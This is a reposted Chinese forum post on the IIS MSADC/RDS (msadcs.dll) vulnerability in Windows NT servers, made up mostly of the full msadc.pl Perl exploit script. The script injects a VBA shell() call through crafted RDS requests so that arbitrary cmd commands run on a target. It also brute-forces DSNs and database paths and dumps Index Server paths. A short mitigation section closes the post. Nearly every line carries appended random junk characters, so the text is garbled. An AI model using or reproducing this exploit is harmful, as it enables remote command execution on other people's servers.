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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) .OSFLY#[?  
5'[b:YC  
涉及程序: `"qSr%|  
Microsoft NT server _air'XQ&!  
j.7BoV  
描述: 59M\uVWR  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ORo,.#<  
aO$I|!tl  
详细: rl](0"Y0 t  
如果你没有时间读详细内容的话,就删除: # Q61c  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 1gDsL  
有关的安全问题就没有了。 }w/6"MJ[n  
zqa7!ky  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 qO}Q4a+  
:c`Gh< u  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 zP|^) h5  
关于利用ODBC远程漏洞的描述,请参看: ) i=.x+Q  
jLv8K  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm q2~@z-q)b  
R&]#@PW^  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 qv.s-@l8  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp vKmV<*K  
4|Ay;}X \  
这里不再论述。 <#F@OU  
8a3h)R  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: KetNFwbUf  
)@[##F2  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset {>n\B~*,"C  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! oA]rwa UX  
` D={l29H  
R-J^%4U`7  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ~"nF$DB  
Dg o -Os@  
#!perl 2nkymEPu  
# b .|k j  
# MSADC/RDS 'usage' (aka exploit) script }YCpd)@  
# :B  9>  
# by rain.forest.puppy 25{-GaB  
# 6tF_u D  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me L(+I  
# beta test and find errors! T1#r>3c\  
sFV&e->AN\  
use Socket; use Getopt::Std; _T\cJcWf  
getopts("e:vd:h:XR", \%args); 5L\&"['  
@jY=b<  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; zy(NJ  
Bht!+  
if (!defined $args{h} && !defined $args{R}) { y,s`[=CT  
print qq~ bYAtUEv  
Usage: msadc.pl -h <host> { -d <delay> -X -v } dTZ$92<  
-h <host> = host you want to scan (ip or domain) _9:r4|S  
-d <seconds> = delay between calls, default 1 second wl7 (|\-  
-X = dump Index Server path table, if available K*S3{s%UR  
-v = verbose }\0ei(%H  
-e = external dictionary file for step 5 #pcgfVl  
J"~!jrzBh(  
Or a -R will resume a command session #+#^cqjZ  
f9D01R fo  
~; exit;} A<''x'\/  
HT ."J  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; %y_{?|+  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} =}zSj64  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} fPPC`d&Q3  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); z3I |jy1  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} L yH1tF  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Kf1NMin7  
VYjt/\ Z  
if (!defined $args{R}){ $ret = &has_msadc; 8PR\a!"  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} #MFIsx)r  
8qL.L(=\/  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ^B:;uyG]M  
. "cmd /c "; d}Q% I  
$in=<STDIN>; chomp $in; }i{A4f `  
$command="cmd /c " . $in ; T~L&c  
dTjDVq&Hz  
if (defined $args{R}) {&load; exit;} "+E\os72|  
YPW UncV  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ;5DDV6  
&try_btcustmr; &`oybm-p(  
Zm0'p!  
print "\nStep 2: Trying to make our own DSN..."; 'o~gT ;T#  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ,x$^^  
J$5Vjh'aM  
print "\nStep 3: Trying known DSNs..."; w2db=9  
&known_dsn; 5|5p -B  
^t:dcY7  
print "\nStep 4: Trying known .mdbs..."; .5uqc.i"f  
&known_mdb; "([/G?QAG  
bQ(-M:  
if (defined $args{e}){ SA7(EJ95  
print "\nStep 5: Trying dictionary of DSN names..."; | kP utB  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ?~b(iZ  
sn"z'=ch  
print "Sorry Charley...maybe next time?\n"; 9:P]{}  
exit; Uo71C4ev  
<v'&Pk<  
############################################################################## UWidT+'Sa  
Vd(n2JMtG  
sub sendraw { # ripped and modded from whisker G;$; $gM  
sleep($delay); # it's a DoS on the server! At least on mine... n}I?.r@e  
my ($pstr)=@_; JQ 6M,O  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || X8">DR&>Y  
die("Socket problems\n"); U (#JC(E-#  
if(connect(S,pack "SnA4x8",2,80,$target)){ a ydNSgu  
select(S); $|=1; :eSsqt9]9  
print $pstr; my @in=<S>; ] |nW  
select(STDOUT); close(S); vFB^h1k~.M  
return @in; s M*ay,v;  
} else { die("Can't connect...\n"); }} B0%=! &  
N!Rt040.%  
############################################################################## A&bj l[s  
),-gy~  
sub make_header { # make the HTTP request Q2D!Agq=D  
my $msadc=<<EOT Xh>($ U  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ~7U~   
User-Agent: ACTIVEDATA oFf9KHorW  
Host: $ip I{jvUYrKH  
Content-Length: $clen # )y/aA  
Connection: Keep-Alive 3TH?7wi  
`/ayg:WSU  
ADCClientVersion:01.06 q+y\pdhdO  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 bD{k=jum  
Ff%V1BH[  
--!ADM!ROX!YOUR!WORLD! !7 dct#4  
Content-Type: application/x-varg &8z<~q  
Content-Length: $reqlen 4G?^#+|^  
a9z#l}IQ  
EOT m$kQbPlatN  
; $msadc=~s/\n/\r\n/g; NOuG#P  
return $msadc;} > 'hM"4f  
!6T"J!F#  
############################################################################## 52dD(  
M[gL7-%w\  
sub make_req { # make the RDS request -(8I?{"4i  
my ($switch, $p1, $p2)=@_; 0{|HRiQH9+  
my $req=""; my $t1, $t2, $query, $dsn; E5d$n*A  
DzQBWY] )  
if ($switch==1){ # this is the btcustmr.mdb query +t+<?M B  
$query="Select * from Customers where City=" . make_shell(); -juG[zn  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . IB/3=4n^|  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} S@FO&o 0  
OegeZV  
elsif ($switch==2){ # this is general make table query by X!,  
$query="create table AZZ (B int, C varchar(10))"; ds(?:zx#  
$dsn="$p1";}  b.&W W  
[d6!  
elsif ($switch==3){ # this is general exploit table query XiE`_%NW  
$query="select * from AZZ where C=" . make_shell(); 7{L4a\JzT  
$dsn="$p1";} ^Tm`motzh  
ViPC Yt`of  
elsif ($switch==4){ # attempt to hork file info from index server qW0:q.   
$query="select path from scope()"; %w*)7@,+-  
$dsn="Provider=MSIDXS;";} HYmC3  
ej`%}e%2  
elsif ($switch==5){ # bad query bf"'xn9  
$query="select"; '4[=*!hs!  
$dsn="$p1";}  uZS:  
vxOqo)yO  
$t1= make_unicode($query); z1PwupXt1  
$t2= make_unicode($dsn); 9CY{}g  
$req = "\x02\x00\x03\x00"; :8A+2ra&  
$req.= "\x08\x00" . pack ("S1", length($t1)); xH-d<Ht,7  
$req.= "\x00\x00" . $t1 ; G%<}TI1}  
$req.= "\x08\x00" . pack ("S1", length($t2)); ;*<tU n^t  
$req.= "\x00\x00" . $t2 ; Ymk?@mV4  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; $;qi -K3j  
return $req;} (^d7K:-'  
5i!Q55Yv=,  
############################################################################## l_vGp  
r ]DiB:.  
sub make_shell { # this makes the shell() statement Gk,Bx1y  
return "'|shell(\"$command\")|'";} ,,'jyqD  
t4WB^dHYp  
############################################################################## 0bg"Q4  
>cu%Cs=m  
sub make_unicode { # quick little function to convert to unicode 1i76u!{U  
my ($in)=@_; my $out; 1 em,/> "  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } z%;p lMj  
return $out;} m1"m KM  
'cW^S7  
############################################################################## B$4*U"tk  
N:1aDr;  
sub rdo_success { # checks for RDO return success (this is kludge) 8\n3 i"  
my (@in) = @_; my $base=content_start(@in); `g)}jo`W  
if($in[$base]=~/multipart\/mixed/){  [XfR`@  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} )g0lI  
return 0;} m>@hh#kBg  
X'Ss#s>g  
############################################################################## ^X=Q{nB  
:t}\%%EbmE  
sub make_dsn { # this makes a DSN for us Q]:O#;"<  
my @drives=("c","d","e","f"); diq}\'f  
print "\nMaking DSN: "; L:R4&|E/t  
foreach $drive (@drives) { jjs/6sSRk  
print "$drive: "; n ~t{]if"  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . }u Y2-l  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" j]Auun  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); dGIdSQ~ _  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 1|bXIY.J*  
return 0 if $2 eq "404"; # not found/doesn't exist :cT)M(o  
if($2 eq "200") { b/SBQ" B%  
foreach $line (@results) { 8:ubtB  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} /x<g$!`X  
} return 0;} Kl1v^3\{  
L.Y3/H_  
############################################################################## (`x_MTLL  
4ot<Uw5  
sub verify_exists { uZqL'l+/y  
my ($page)=@_; |LHJRP-Z  
my @results=sendraw("GET $page HTTP/1.0\n\n"); @= -(H<0  
return $results[0];} !FEc:qH  
x.SfB[SZ  
############################################################################## pwFp<O"  
0YH5B5b  
sub try_btcustmr { i Ha?b2=)  
my @drives=("c","d","e","f"); X+hHEkJ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ~# -?V[  
YEL0h0gn  
foreach $dir (@dirs) {  ~?ab_CY  
print "$dir -> "; # fun status so you can see progress =|t-0'RsN  
foreach $drive (@drives) { b?H"/Mu.  
print "$drive: "; # ditto -IPo/?}  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; fr17|#L+s  
$reqlenlen=length( "$reqlen" ); Ln"wj O ,  
$clen= 206 + $reqlenlen + $reqlen; YIQD9  
)M0YX?5A R  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Y.^L^ "%dF  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} N5Js.j>z  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} M'*s5:i  
'jev1u[  
############################################################################## *"%TAe7?~+  
6h 0qtXn-  
sub odbc_error { OO:S2-]Y>e  
my (@in)=@_; my $base; J_Lmy7~xbD  
my $base = content_start(@in); j=WxtMS  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this iw@rW5%'~  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :F(4&e=w  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .OPknC  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; dwOfEYC  
return $in[$base+4].$in[$base+5].$in[$base+6];} K'A+V  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; -amo8V;2H  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . hkK>h  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} $BqiC!~  
{K^5q{u  
############################################################################## @0+\:F  
7 N}@zPAZ  
sub verbose { }%g[1 #%(  
my ($in)=@_; SN6 QX!3  
return if !$verbose; QiCia#_  
print STDOUT "\n$in\n";} l`v5e"V  
/[R=-s ;  
############################################################################## >A Ep\ *  
(,At5 T  
sub save { `M@ESA (e  
my ($p1, $p2, $p3, $p4)=@_;  f<o|5r  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; #MC#K{Xd  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; &3vm @  
close OUT;} Kz'GAm\  
ak7%  
############################################################################## c <TEA  
x{H+fq,M  
sub load { 8mX!mYO3c  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Th_@'UDa  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); vJE=H9E  
@p=<IN>; close(IN); _Sjj|j  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); <IrhR,@M,L  
$target= inet_aton($ip) || die("inet_aton problems"); [s}W47N1  
print "Resuming to $ip ..."; g;l K34{  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; v.ZUYa|  
if($p[1]==1) { Df"PNUwA"  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ZayJllaq^  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; EU(e5vO  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); lDS y$  
if (rdo_success(@results)){print "Success!\n";} f]*;O+8$LN  
else { print "failed\n"; verbose(odbc_error(@results));}} >s<Bu'r  
elsif ($p[1]==3){ JMAdsg/  
if(run_query("$p[3]")){ |s /)lA:9  
print "Success!\n";} else { print "failed\n"; }} @(R=4LL  
elsif ($p[1]==4){ |AvPg  
if(run_query($drvst . "$p[3]")){ 'IU3Xu[-.  
print "Success!\n"; } else { print "failed\n"; }} J;sQvPHV8  
exit;} wOH:'sk["  
+ S+!:IB  
############################################################################## G[}v?RLI  
O 0}uY:B  
sub create_table { ^*jwe^  
my ($in)=@_; nw+t!C  
$reqlen=length( make_req(2,$in,"") ) - 28; ;X}2S!7Ko  
$reqlenlen=length( "$reqlen" ); j32*9  
$clen= 206 + $reqlenlen + $reqlen; CG uuadNI  
my @results=sendraw(make_header() . make_req(2,$in,"")); +B{u,xgg  
return 1 if rdo_success(@results); hUpour |b  
my $temp= odbc_error(@results); verbose($temp); , S^y>  
return 1 if $temp=~/Table 'AZZ' already exists/; 0Hrvr  
return 0;} N_G&nw  
1PVZGZxAgv  
############################################################################## LYAGpcG  
2fdN@iruB  
sub known_dsn { X$<pt,}%  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go =lv(  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", I484c R2.  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", =pzTB-G  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); O:v#M]   
wsdZwik  
foreach $dSn (@dsns) { xM{[~Kh_x  
print "."; y%|Ez  
next if (!is_access("DSN=$dSn")); 8K^#$,.."  
if(create_table("DSN=$dSn")){ vJr,lBHEk  
print "$dSn successful\n"; 75>%!mhM  
if(run_query("DSN=$dSn")){ RrLj5Jq  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { M19O^P>[  
print "Something's borked. Use verbose next time\n";}}} print "\n";} |`yU \  
3N]ushMO  
############################################################################## W +Piqf*  
zvN7aG  
sub is_access { (]k Q9}8  
my ($in)=@_; ZYB5s~;eB"  
$reqlen=length( make_req(5,$in,"") ) - 28; ((?"2 }1r  
$reqlenlen=length( "$reqlen" ); _R0O9sPTO  
$clen= 206 + $reqlenlen + $reqlen; qAp <OJ  
my @results=sendraw(make_header() . make_req(5,$in,"")); nUs=PD3)  
my $temp= odbc_error(@results); H.hKh  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); dJzaP  
return 0;} EqHToD I3  
t<+>E_Xw  
############################################################################## `4ga~Ch  
D,$M$f1  
sub run_query { ;"f9"  
my ($in)=@_; HI1|~hOb'  
$reqlen=length( make_req(3,$in,"") ) - 28; %/)z!}{  
$reqlenlen=length( "$reqlen" ); EAh|$~X  
$clen= 206 + $reqlenlen + $reqlen; 8bw, dBN  
my @results=sendraw(make_header() . make_req(3,$in,"")); (gdzgLHy  
return 1 if rdo_success(@results); A[4HD!9=  
my $temp= odbc_error(@results); verbose($temp); AN,3[Sh  
return 0;} <`q-#-V@  
H O>3>v  
############################################################################## )#Ecm<.^  
dr8Q>(ZY  
sub known_mdb { R0w~ Z   
my @drives=("c","d","e","f","g"); 'e>'J ZR  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 8eCh5*_$  
my $dir, $drive, $mdb; e2xKo1?I  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]Gj%-5G  
"T8b.ng  
# this is sparse, because I don't know of many Us6~7L00  
my @sysmdbs=( "\\catroot\\icatalog.mdb", e*<pO@Uy  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", dF|n)+C~R  
"\\system32\\certmdb.mdb", 1JS5 LS  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Qm[ )[M  
q@mZ0D-  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", o`~,+6] D  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ;M+~ e~  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", B|>eKI  
"\\cfusion\\cfapps\\security\\realm_.mdb", p:| 7d\r  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", G{+zKs}~  
"\\cfusion\\database\\cfexamples.mdb", ? _[ q{i{  
"\\cfusion\\database\\cfsnippets.mdb", 9y\Ik/  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", j;_E0j#  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 3!KyO)8  
"\\cfusion\\brighttiger\\database\\cleam.mdb", rv~OfL  
"\\cfusion\\database\\smpolicy.mdb", mt *Dx  
"\\cfusion\\database\cypress.mdb", vA?3kfL|#  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", vQ5rhRG)E  
"\\website\\cgi-win\\dbsample.mdb", h?QGJ^#8  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", \O>;,(>i  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" EBmkKiI;  
); #these are just ~:b5UIAk  
foreach $drive (@drives) { JWQd6JQ_~V  
foreach $dir (@dirs){ 4E$6&,\  
foreach $mdb (@sysmdbs) { )C#>@W  
print "."; o~x49%X<c  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ }o=s"0a  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; =1VpO{ q  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Jk`0yJi$q  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 9 b&HqkXX  
} else { print "Something's borked. Use verbose next time\n"; }}}}} tHJahK:"k  
vf!lhV-UG+  
foreach $drive (@drives) { 'V4B{n7 h  
foreach $mdb (@mdbs) { Gbb*p+ (  
print "."; YB9)v5Nz(  
if(create_table($drv . $drive . $dir . $mdb)){ ]%(X }]}  
print "\n" . $drive . $dir . $mdb . " successful\n"; .A7ON1lc^C  
if(run_query($drv . $drive . $dir . $mdb)){ 69Q#UJ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; NE?tfj  
} else { print "Something's borked. Use verbose next time\n"; }}}} )9 {!=k  
} "2 qivJ  
u0Opn=(_  
############################################################################## 3Q#3S  
Ye\ &_w"  
sub hork_idx {  LII4sf]  
print "\nAttempting to dump Index Server tables...\n"; XTq+  9  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; iB*1Yy0DC  
$reqlen=length( make_req(4,"","") ) - 28; rW2   
$reqlenlen=length( "$reqlen" ); FQB6` M  
$clen= 206 + $reqlenlen + $reqlen; TdrRg''@  
my @results=sendraw2(make_header() . make_req(4,"","")); \~:_ h#bW  
if (rdo_success(@results)){ vn.j>;E'  
my $max=@results; my $c; my %d; : UDh{GQ*  
for($c=19; $c<$max; $c++){ 7;ddzxR4  
$results[$c]=~s/\x00//g; _^NL{R/  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; <)$JA  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; O<+x=>_  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; aB~=WWLR\  
$d{"$1$2"}="";} !@f!4n.e|I  
foreach $c (keys %d){ print "$c\n"; } $$---Y   
} else {print "Index server doesn't seem to be installed.\n"; }} R5r CCp  
M~djX} #\  
############################################################################## CQET  
5NhwIu^<  
sub dsn_dict { C <q@C!A  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); a(K^/BT  
while(<IN>){ `;3fnTI:1  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Ehg(xK  
next if (!is_access("DSN=$dSn")); w4;1 ('  
if(create_table("DSN=$dSn")){ hR~~k~84  
print "$dSn successful\n"; $McbVn)~f  
if(run_query("DSN=$dSn")){ I :o.%5)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Q|nGY:98  
print "Something's borked. Use verbose next time\n";}}} =U3rOYbP;  
print "\n"; close(IN);} k`r`ZA(kQ-  
E3 aj  
############################################################################## cp3O$S  
R}0!F 2  
sub sendraw2 { # ripped and modded from whisker eW;0{P  
sleep($delay); # it's a DoS on the server! At least on mine... )\l(h%s[I  
my ($pstr)=@_; yxL(mt8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || r( 8!SVX  
die("Socket problems\n"); 6e :#x:O  
if(connect(S,pack "SnA4x8",2,80,$target)){ //- ;uEO  
print "Connected. Getting data"; 629 #t`W\  
open(OUT,">raw.out"); my @in; g+/m:(7[s|  
select(S); $|=1; print $pstr; uxD$dd?  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} |E9iG  
close(OUT); select(STDOUT); close(S); return @in; 5YnTGf&  
} else { die("Can't connect...\n"); }} 0m&W: c  
a X:,1^  
############################################################################## n8'#'^|  
NKE,}^C  
sub content_start { # this will take in the server headers - DE?L,9X9  
my (@in)=@_; my $c; .u$o^; z!  
for ($c=1;$c<500;$c++) { s|o+ Im  
if($in[$c] =~/^\x0d\x0a/){ p2uZ*sY(D  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } [vyi_0[  
else { return $c+1; }}} `w#p8vR  
return -1;} # it should never get here actually /zZ";4  
2(K@V6j$M  
############################################################################## <t"|wYAa_  
M Qlx&.>  
sub funky { @w5x;uB|%G  
my (@in)=@_; my $error=odbc_error(@in); Q,< V)  
if($error=~/ADO could not find the specified provider/){ j55;E E!  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; U6yZKK  
exit;} vOi4$I~CJ  
if($error=~/A Handler is required/){ BoHpfx1C  
print "\nServer has custom handler filters (they most likely are patched)\n"; <X ~P62<  
exit;} .<kbYo:MV  
if($error=~/specified Handler has denied Access/){ U)iq  
print "\nServer has custom handler filters (they most likely are patched)\n"; hmM2c15T5  
exit;}} \S[I:fw#&  
vvmG46IgZ  
############################################################################## Auk#pO#  
RA$q{$arb  
sub has_msadc { :DoE_  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); $Z[W}7{pt#  
my $base=content_start(@results); ^M~Z_CQL2  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); m)Sdo gt_  
return 0;} WI}cXXUKm0  
]x:>!y  
######################## uwo\FI  
/+ Q3JS(  
\_8.\o"@*#  
解决方案: : oO ?A  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ;?.w!|6  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Ld?'X=eQ  
M2pFXU?]  
拿出来充数 哈哈
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